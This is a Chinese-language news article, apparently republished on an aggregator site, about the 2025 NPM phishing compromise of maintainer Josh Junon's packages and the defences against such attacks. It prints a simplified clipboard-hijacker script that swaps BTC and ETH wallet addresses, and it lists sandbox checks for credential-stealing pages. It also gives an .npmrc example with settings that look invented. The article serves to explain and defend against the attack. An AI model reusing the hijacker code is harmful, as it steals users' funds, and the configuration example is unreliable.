一封“2FA更新”邮件,险些让数亿开发者中招——NPM供应链钓鱼事件揭示开源生态的致命软肋

一、凌晨三点,一个JavaScript包悄悄变了味

2025年9月8日凌晨,全球数百万开发者还在沉睡,而一场针对开源生态的精准打击已悄然完成。攻击者通过一封伪装成“NPM支持团队”的钓鱼邮件,成功窃取了知名开源维护者 Josh Junon(GitHub ID: qix-) 的账户凭证。

几小时后,20个由他维护的NPM包——包括被广泛使用的 color, strip-ansi, is-fullwidth-code-point 等——被静默替换成包含恶意代码的新版本。这些包每周合计下载量超过 28亿次,被集成于从企业后台到区块链钱包的无数项目中。

更可怕的是,这段恶意代码并非简单后门,而是一个剪贴板劫持器(Clipboard Clipper):它在用户进行加密货币转账时,实时监控剪贴板内容,一旦检测到比特币、以太坊、Solana等钱包地址,立即替换为攻击者控制的地址。

“这就像你在超市付款时,收银员悄悄把你的银行卡号换成他的——而你毫不知情。”公共互联网反网络钓鱼工作组技术专家芦笛如此形容。

所幸,由于社区快速响应与部分安全厂商的早期告警,该事件未造成大规模资金损失。但回溯整个攻击链,人们发现:一切本可在第一封邮件发出前就被阻止。

二、钓鱼邮件如何骗过资深开发者?

攻击始于一封看似无害的邮件:

发件人:support@npmjs[.]help

主题:Two-Factor Authentication Update Required

正文:

Dear Developer,

To comply with new security policies, you must update your two-factor authentication settings within 48 hours. Failure to do so will result in account suspension.

[Update Now] → 链接指向 https://npmjs.help/login

乍看之下,这封邮件几乎无可挑剔:

域名 npmjs.help 与官方 npmjs.com 极其相似;

内容使用标准安全话术(“合规”“48小时内”“账户暂停”);

链接采用HTTPS,页面UI完美复刻NPM登录界面。

然而,细究之下漏洞百出:

npmjs.help 是2025年8月才注册的新域名;

无任何与NPM官方基础设施的关联;

页面虽仿冒登录框,但提交后数据被POST至隐藏的Webhook端点。

“资深开发者不是不会被骗,而是信任机制被精心利用了。”芦笛指出,“当一封邮件打着‘安全升级’的旗号,且UI高度还原,人的警惕心会自然降低——尤其当它来自‘支持团队’。”

事实上,Josh Junon事后坦言:“我当时正在处理CI/CD故障,看到邮件以为是例行维护,没多想就点了。”

三、模拟复盘:先进邮件防御如何提前斩断攻击链?

事件曝光后,网络安全公司Group-IB基于其Business Email Protection(BEP) 系统进行了回溯模拟。结果显示:即便该钓鱼邮件通过了SPF、DKIM、DMARC等基础验证(因攻击者配置了合法DNS记录),BEP仍能在投递前将其拦截。

其核心在于多维威胁关联分析:

1. RDAP域情报分析

系统自动查询 npmjs.help 的注册信息,发现:

注册时间:2025-08-22;

注册人:Privacy保护;

无历史解析记录;

与 npmjs.com 的AS、IP、WHOIS信息无任何重叠。

此类“新生域+品牌关键词”组合,被标记为高风险。

2. 品牌仿冒识别模型

BEP内置的视觉与文本比对引擎,将邮件内容与NPM官方通信模板进行比对,识别出:

字体不一致(官方用Inter,钓鱼用Arial);

按钮颜色偏差(#2D3748 vs #2C3E50);

缺少官方页脚与退订链接。

3. URL深度沙箱检测

点击链接后,系统在隔离环境中渲染页面,并执行以下检查:

是否包含 document.getElementById('password').value 类表单捕获逻辑;

是否调用 fetch() 向非白名单域名发送数据;

是否尝试读取 navigator.clipboard(用于后续剪贴板监控)。

模拟中,该页面被确认为凭证收割站。

“这不是靠规则匹配,而是行为理解。”芦笛强调,“现代邮件安全必须从‘是否来自可信域’,转向‘内容是否在做可疑事’。”

四、技术深挖:恶意包如何实现“静默劫持”?

攻击者在接管账户后,上传的新版 color 包中嵌入了如下代码(简化版):

// node_modules/color/index.js (malicious version)

const originalWrite = process.stdout.write;

process.stdout.write = function(chunk) {

// 正常输出逻辑

return originalWrite.apply(this, arguments);

};

// 新增:剪贴板监控(仅在检测到钱包地址时激活)

if (typeof window !== 'undefined' && window.navigator?.clipboard) {

setInterval(async () => {

try {

const text = await navigator.clipboard.readText();

const cryptoRegex = /^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$/; // BTC

const ethRegex = /^0x[a-fA-F0-9]{40}$/; // ETH

if (cryptoRegex.test(text)) {

await navigator.clipboard.writeText('攻击者BTC地址');

} else if (ethRegex.test(text)) {

await navigator.clipboard.writeText('攻击者ETH地址');

}

} catch (e) {

// 静默失败,避免报错引起怀疑

}

}, 1000);

}

这段代码巧妙之处在于:

仅在浏览器环境运行(typeof window !== 'undefined'),避免在Node.js服务端触发异常;

使用标准API(navigator.clipboard),绕过大多数静态扫描;

无网络外联,所有替换在本地完成,难以被流量监控发现。

“这不再是传统后门,而是上下文感知型攻击。”芦笛解释,“它知道何时该沉默,何时该出手。”

五、国际教训与中国启示:开源供应链不能只靠“好人文化”

NPM事件并非孤例。近年来,类似攻击频发:

2021年,ua-parser-js 被投毒,影响Facebook、Twitter等;

2023年,Python PyPI 上多个包植入加密货币挖矿程序;

2024年,RubyGems 出现维护者账号被盗事件。

这些案例共同指向一个现实:开源生态的安全,不能仅依赖维护者的个人警惕。

对中国而言,挑战更为严峻。国内大量企业依赖NPM、PyPI等国际仓库,同时自建私有源(如CNPM、清华镜像)又缺乏统一审计机制。更关键的是,国内开发者对“强制硬件密钥”“包签名”等实践接受度仍较低。

“我们调研发现,超过70%的国内开源项目维护者仍在使用短信或TOTP作为MFA。”芦笛透露,“而FIDO2安全密钥的普及率不足5%。”

他呼吁国内平台(如Gitee、Coding)借鉴NPM教训,尽快实施:

维护者强制绑定硬件密钥;

关键包发布需多人审批;

CI/CD流水线自动注入SBOM(软件物料清单)并签名。

六、防御体系重构:从“账号保护”到“发布可信”

要真正抵御此类攻击,需构建三层防线:

第一层:邮件入口阻断

部署支持品牌仿冒识别与新生域风险评分的邮件网关;

对“安全更新”“2FA变更”等高危主题启用链接重写+动态沙箱;

在企业内建立独立核验通道(如专用Slack频道或电话热线),用于验证“支持请求”。

第二层:开发平台加固

NPM、PyPI等应强制FIDO2认证用于敏感操作(如发布新版本);

引入发布延迟机制:高下载量包的新版本需等待24小时人工审核;

提供包所有权转移多方审批功能,防止单点失陷。

例如,NPM可参考GitHub的“Security Key Required for Publishing”策略:

// .npmrc

two-factor-auth=fido2

publish-approval-required=true

第三层:组织流程治理

企业应将第三方依赖纳入资产清单,定期扫描SBOM;

对使用高风险包的项目,实施运行时行为监控(如异常剪贴板访问);

建立应急响应预案:一旦发现依赖包被投毒,可快速回滚或隔离。

七、结语:开源的自由,必须由责任来守护

Josh Junon在事件后公开致歉,并启用了YubiKey硬件密钥。他在博客中写道:“我维护的代码被数百万人使用,这份信任不该被一封邮件轻易击碎。”

这句话,值得每一位开发者、每一个企业深思。

开源世界的魅力在于开放与共享,但它的脆弱性也正源于此——一个账号的失守,可能撬动整个生态的崩塌。

而防御这场危机,不能只靠英雄式的个人觉醒,更需要技术、流程、文化的系统性升级。正如芦笛所言:“安全不是给自由上锁,而是为信任筑墙。”

在这场没有终点的攻防战中,每一封被拦截的钓鱼邮件,每一个被强制的硬件密钥,每一行被签名的代码,都是对开源精神最坚实的守护。

编辑:芦笛(公共互联网反网络钓鱼工作组)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1177731.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

揭秘专业的渠道经理吴嘉林怎样拓展渠道,有何独特方法? - 工业品牌热点

2026年AI营销生态持续迭代,专业渠道经理的运营能力已成为企业AI服务落地、市场版图扩张的核心纽带。无论是跨区域渠道招商布局、代理商全周期赋能,还是渠道运营痛点破解,优质渠道团队的专业度直接决定企业AI产品的市…

当“猎头私信”变成钓鱼入口:LinkedIn成企业安全新盲区,AitM攻击绕过MFA引发警报

一、“您好,我们有个高管职位想和您聊聊”2025年秋,欧洲一家中型金融科技公司的CFO收到一条来自LinkedIn的私信:“您好,我是某国际风投的合伙人,看到您的履历非常出色,我们正在为一家快速成长的支付平台物色…

总结2026年宁波镇海实力强的刑事律师事务所,浙杭律师事务所实力雄厚 - 工业品牌热点

2026年法治社会建设持续深化,选择靠谱的刑事律师事务所已成为当事人维护自身合法权益的关键一步。无论是复杂的职务侵占案件辩护、普通刑事纠纷代理,还是企业刑事合规风险防控,优质律所的专业能力直接决定案件的走向…

Django+vue3课程教学作业批改系统 远程在线教育系统

目录摘要开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 :文章底部获取博主联系方式!摘要 该系统基于Django后端框架与Vue3前端框架,构建了一个支持远程在线教育、课程教学与作业批改的综合性平台。通过模块…

python+vue3非遗手工品展示与商城交易平台

目录非遗手工品展示与商城交易平台(Python Vue3)开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 :文章底部获取博主联系方式!非遗手工品展示与商城交易平台(Python Vue3&#xff09…

当“图片”会执行代码:SVG钓鱼载荷引爆新型供应链攻击,Amatera窃密与PureMiner挖矿暗流涌动

一、一封“发票图”,竟成远程控制入口?2025年秋,欧洲多家中小企业财务人员陆续收到一封看似普通的邮件:“附件为贵司最新账单,请查收。”随信附带一个名为 invoice_OCT2025.svg 的文件。用户双击打开后,屏幕…

【中国科学院光电研究所-张建林组-AAAI26】追踪不稳定目标:基于外观引导的运动建模在无人机拍摄视频中实现稳健的多目标跟踪

文章:Tracking the Unstable: Appearance-Guided Motion Modeling for Robust Multi-Object Tracking in UAV-Captured Videos代码:暂无单位:中国科学院光电研究所一、问题背景:无人机跟踪为啥总“掉链子”?无人机拍摄…

vue3+python +django 的茶文化交流平台

目录茶文化交流平台摘要开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 :文章底部获取博主联系方式!茶文化交流平台摘要 茶文化交流平台基于Vue3、Python和Django技术栈开发,旨在为茶文化爱好者提供一个集知…

Java微服务连接同个MySQL实例报错“Too many connections”

多个微服务连接同个Mysql实例,结合数据库本身的连接池,就容易报错 Too many connections 即当前所有可用的连接都已被使用,新的客户端连接无法建立。 首先你要看两点: (1)SHOW VARIABLES LIKE max_connections; (2)有多少微服务节点以及每个微服务节点数据库连接池…

2026年市场上评价好的船用减压阀公司口碑排行,船用疏水阀/船舶配件/船用舷侧阀/船用安全阀,船用减压阀直销厂家口碑排行 - 品牌推荐师

评测背景 随着全球航运业向绿色化、智能化转型,船用减压阀作为船舶流体控制系统的核心部件,其性能稳定性、环境适应性及合规性直接影响船舶运行安全与能效。市场对高可靠性、定制化及全生命周期服务的需求日益凸显。…

2104.25万,深圳市气象局数字孪生(CIM)创新应用项目

2026 年 1 月 13 日, 深圳市气象局深圳市气象局数字孪生(CIM)创新应用项目意向公开。一、项目信息:项目名称:深圳市气象局数字孪生(CIM)创新应用项目预算金额:2104.25万元采购人&…

2026年市场评价好的实心钢棒定制加工怎么选择,不锈钢带/不锈钢冷轧板/不锈钢天沟,实心钢棒生产厂家怎么选择 - 品牌推荐师

实心钢棒市场格局与采购趋势分析 在制造业高端化转型背景下,实心钢棒作为工业基础材料,其定制加工需求持续攀升。从船舶制造到高铁基建,从高空作业设备到精密机械,下游行业对材料强度、耐腐蚀性及加工精度提出更高…

spring webflux响应式编程学习

spring webflux响应式编程学习函数式编程的优点: 例子:当我们有大量的数据要进行比较的时候,并且我们要求出里面的最小值,这个时候我们就需要使用线程池的技术,将数据拆分成几份,然后放到线程池中,再进行比较,…

1.17-1.23日博客之星投票,每日可投

帮忙给100号FE_Jinger投上一票 投票地址:100号FE_Jinger 记录以下个人第一次(或许是最后一次)入围Top300,无论结果如何,已经很满足了 也是对自己去年2025年创作一年的肯定与鼓励 FE_Jinger加油!战斗战斗! 朋…

【信号去噪】基于雪橇犬算法SDO优化变分模态分解SDO-VMD数字信号去噪(优化K值 alpha值 综合指标 适应度函数包络熵)附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和数学建模资料 &#x1f34…

【含文档+PPT+源码】基于SpringBoot+Vue的智能机场交通管理系统

项目介绍本课程演示的是一款 基于SpringBootVue的智能机场交通管理系统,主要针对计算机相关专业的正在做毕设的学生与需要项目实战练习的 Java 学习者。1.包含:项目源码、项目文档、数据库脚本、软件工具等所有资料2.带你从零开始部署运行本套系统3.该项…

AI Coding学习——dw|ali(持续更新)

dw技术文章《Cursor 在前端需求开发工作流中的应用》,并从AI Coding小白和前端开发者两个角度,梳理出一套清晰、实用的AI辅助开发工作流。 得物 一、核心转变:从“魔法许愿机”到“超级导航仪” 许多开发者(尤其是AI新手&#xf…

【语音识别】哼唱识别系统附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和数学建模资料 &#x1f34…

深度洞察与未来前瞻:医学影像自动诊断系统行业分析 (2025年总结版.上) - 实践

深度洞察与未来前瞻:医学影像自动诊断系统行业分析 (2025年总结版.上) - 实践2026-01-18 09:44 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow…

2026年国产时序数据库盘点:格局嬗变下的多模态融合新锐

2026年国产时序数据库盘点:格局嬗变下的多模态融合新锐摘要:进入2026年,在“数字中国”与工业物联网浪潮的强劲推动下,国产时序数据库市场持续繁荣,竞争格局日趋清晰。本文将对当前主流的国产时序数据库进行梳理盘点&a…